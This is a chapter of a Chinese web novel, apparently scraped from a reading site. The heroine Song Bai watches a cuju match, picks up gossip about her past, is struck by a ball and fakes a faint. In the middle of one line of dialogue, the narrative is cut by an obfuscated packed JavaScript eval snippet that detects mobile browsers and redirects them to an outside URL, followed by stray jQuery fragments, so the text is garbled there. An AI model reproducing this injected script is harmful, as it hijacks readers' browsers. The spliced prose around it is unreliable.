默认冷灰
24号文字
方正启体

5. 第 5 章

作者:昭越本书字数:K更新时间:
    不自觉扇风点了一把火,宋白不敢多话,只注意着场上局势。绿队任暄和虞山王配合不太默契,上半场扳平的比分很快就被红队超过。


    虞山王面上不太爽快,任暄走动间也带了两分急躁。反观红队这边,换下了失误的头挟队员,陆洲体力充沛,丝毫不受影响,状态好得出奇。


    奇怪的是,宋白注意到好几回陆洲都差点平地摔,虽说蹴鞠场上摔跤也算是常事,可频率如此之高也确实有些不同寻常。


    她忍不住问:“这蹴鞠场是不是没有清理石子?”


    另一侧的刘诵凑到她身边,小声跟她说:“这是件怪事,殿下总会在小事上绊些跟头,不过不妨事,殿下身上是有些运道在的,毕竟是皇子龙孙,总能逢凶化吉。”


    宋白想起书里写的,反派确实从头倒霉到脚,轻则摔一跤,重则被埋在泥石流里,丢了半条命腿也瘸了。


    她又开始左右摇摆,运气不好会不会传染啊?要不还是想想办法跳槽,看起来跟着主角混才比较有前途。


    她没回答,许是因为其他人集中精神在看比赛,刘诵找不到人说话,看宋白一脸感兴趣的模样,不知不觉又跟她唠起来:“你觉不觉得这安远侯世子有些古怪?听说他走路都能捡到钱,春猎秋狝那兔子都往他面前撞。真是邪了门了,跟狐狸精似的。”


    宋白瞅他一眼,他眼睛里的羡慕都要流到嘴角了,嘴上说邪门,实际恨不得自己也天天捡钱。


    为了不让刘诵的话掉在地上,宋白也低声道:“竟然如此?确实是有些运道在身上。”


    不想刘诵听到她这句话,奇怪地看向她:“小宋你这都不知道?你家不是跟他们家是世交么,听闻你俩幼时情同手足来着。”


    宋白心中警铃大作,差点忍不住一激灵,她对原身的情况知之甚少,但在有限的记忆里宋家并不在洛京,与安远侯府的交情也不为人所知,竟没想到被刘诵一语道破。


    有一瞬间她的眼神似刀,但刹那间垂下的眼皮掩去了眼底的惊诧。当务之急是糊弄过去,她不知道原身与安远侯世子的交情,只能尽量模糊时间线:“不过是年幼戏语,这么多年过去,委实不知世子竟有了奇遇。”


    刘诵点点头:“那倒也是,再者你们两家都闹掰了,说不得就是他有了奇遇后就对你们藏着掖着呢。”


    闹掰了?这又是一个她不知道的线索。宋白越发谨慎,还好没有贸然去找安远侯世子,没想到原身这样一个不起眼的角色,不仅与主角有些交情,还从一开始就闹掰了。


    虽然短短几句话信息量惊人,但她也不敢相信刘诵的话,可惜她醒来就在长陵王府,除了王府的人,都没和其他人说过话,消息渠道到底还是窄了些。


    宋白垂眸饮茶,温热茶水入喉,躁动的心跳慢慢缓和下来,她不动声色打探:“没想到刘兄消息如此灵通。唉,都是些家中琐事。”


    刘诵神秘兮兮地凑近:“那可不,这洛京城里的事儿就没我不知道的嘿嘿。当初你来王府自荐,我实在好奇,就去打听了下,谁知道安远侯府竟然这么欺负人!你放心,既进了王府,往后就是一家子兄弟,迟早能给你报仇。”


    宋白一边听一边又嫌弃,你说话倒是说全呐,到底怎么欺负人了?还有这个人真的是大嘴巴,打听人还大咧咧说出来,怪道说反派团队里的素质参差不齐的。


    她故意顺着刘诵的话往下接:“这倒是不必,毕竟是侯府,我等不过是门客,怎么能与侯府相抗衡?况且也不是什么大事,古有管宁割席,如今我宋氏门庭寥落,自然比不得侯府簪缨世族。”


    这番话听得刘诵义愤填膺:“话不能这么说,道不同不相为谋也就罢了。可你父母双亡,远道而来投奔不说别的,既然是故交,定要照拂你一番,怎能将你拒之门外如此羞辱你?小宋你这脾气不行,太软了,出去必要被欺负死!哎呀你就听愚兄的,咱们往后日子还长着,且叫他们等着!”


    宋白很感动,但对于他这般推心置腹还是有些疑虑,这也太不把她当外人了,什么都往外说,怎么一点保密意识都没有?


    她装作十分感动:“刘兄如此仗义,叫我不知说什么才好。”


    话不多说,两人继续看蹴鞠赛,恰逢最后一球,陆洲凭借灵活身形,速度飞快地从任暄和虞山王中间掠过,几乎像是一阵火流席卷着风,裹挟着将球踢进了风流眼。


    红队赢了!


    裁判官擂响终鼓,宋白耳边只剩下呼喊尖叫的喧哗,声音太大,她不适地按了按额角。


    正按着,忽然不知道从哪里飞过来个东西,越过一群亢奋又大块头的门客,精准地识别到人群中的弱鸡,咔一声砸在了她头顶。


    说实话,不是很痛。


    但当宋白手扶着额角愣愣抬首时,便听到范锦嚎出声来:“小宋让虞山王的球给砸了!快救他!你们别挤过去,他有哮喘!别把人捂死了!”


    宋白愣住,下意识闭上眼睛往后一躺,躺得逃避又安详,靠得最近的范锦再度嚎:“小宋被砸晕了!快让让,他快没气了!”


    宋白闭着眼睛,只感觉到自己像麻袋似的被扛着走了几步就被转了手,接手的这个将她掂了掂,似是觉得太轻,还脱口而出一句:“这么轻,不会死了吧?”


    立时有人伸手来探鼻息:“还有气,殿下莫急,太医已经过来了。”


    今日毕竟是蹴鞠赛,免不了跌打损伤,且在赛场上的又都是王公贵族,因此太医院早早便安排了太医全程陪着,方才余太医还为扭伤的某位队员正了骨。


    宋白左右为难,如果现在装作醒过来,那大概率会在长陵王怀里和他面对面;如果继续装晕,那待会就会被太医看出来。


    哪一个场面都能让她社死,怕是午夜梦回都能惊坐起。


    正迟疑间,关默匆匆插话救了她:“殿下,余太医擅正骨,小宋病痛缠身,本有哮喘,如今又被虞山王殿下砸了头,怕是会引发什么隐疾。他的脉案都在王府里,不如直接送回府,请周大夫诊治。”


    被人群隔离在外的虞山王崩溃大喊:“都说了本王没有用


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202028|197228||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    力,那就是个空心藤球,怎么会砸晕人?!”


    范锦站在道德的制高点有力抨击:“小宋的身体和我等怎么会一样?您分明知道他气虚体弱,命不久矣,若因为输了要拿我等出气,便冲着范某来好了,缘何要欺负有哮喘的小宋?!”


    宋白:……好吧,从今天起她的病多了一个哮喘。


    有其他门客作证,虞山王想说辩驳的话都张不开口,看着躺在陆洲怀里面色惨白如纸的少年,他心虚又无措:“那球就是砸小孩都伤不着,他不会真的有事吧?”


    陆洲口不择言:“砸你一个试试!”


    虞山王小声逼逼:“砸我十个都行。”


    关默力排众议,劝动陆洲将宋白扛上犊车,由几个门客骑马护送。


    陆洲左右看看,突然觉得自己门下似乎不太靠谱,这些五大三粗的男人,方才要不是他将小宋接过抱在怀里,就范锦那大老粗,能扛着小宋把他颠散架。


    正迟疑不决间,宋白悠悠转醒,虚弱张嘴:“我、我这是怎么了?”


    范锦的大嗓门盖过一切:“小宋失忆了!殿下,得尽快回府诊治,属下听闻这脑疾最是难断,快别耽误了病情!”


    有的时候,还真的就是谁的嗓门大,谁就有理。范锦这么一说,不管是不是长陵王一派的,反正都信了他,再看惨白孱弱的少年双眼满是茫然。


    众人怜惜地笃定:他失忆了。


    宋白嘴角一抽,无力地闭上眼睛。


    最后因为犊车太慢,她是被马车驮回去的,驮到王府门口,陆洲正要掀开车帘去抱人,却见少年细白的手指已扶上车门框,自己颤颤巍巍地下了车。


    关默一把攥住宋白的手臂,对陆洲提醒道:“小宋就由属下照看,殿下得回蹴鞠场披彩帛领奖,叫虞山王和安远侯世子都瞧瞧您的风采,可不能耽误了。”


    陆洲这才反应过来自己忘了什么,今天他可是踩在了任暄和虞山王的脸上,那俩加起来都没打过他!


    这种时候应该干什么?那当然是继续踩死对头啊!


    结果他干了什么?他忘了!他竟然忘了在这个关键时刻乘胜追击落井下石!


    陆洲抿了抿唇,还是放不下这病秧子,可别真出事。关默低声在他耳边道:“殿下莫急,您先回去,小宋有我们照顾,不会出什么事。”


    陆洲也知道关默算是最靠谱的,交代他尽心看护,自己去找虞山王要说法。


    宋白虚虚咳了声,关默这才松开手,关心道:“小宋你觉得如何?脑子还晕吗?”


    宋白还没回话,就被范锦抢过话道:“你这是问的什么话?小宋都失忆了!”


    关默瞥他一眼,忍了忍没说话,示意几个人先进门再说。


    待入了王府大门,宋白才找到空说话:“多谢几位护送,在下觉得已经好多了,大脑清明,呼吸顺畅。”


    范锦和刘诵却忧虑问:“你还记得我们是谁吗?”


    关默恨铁不成钢,这两个傻子,心眼加起来都比不上小宋的一半!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)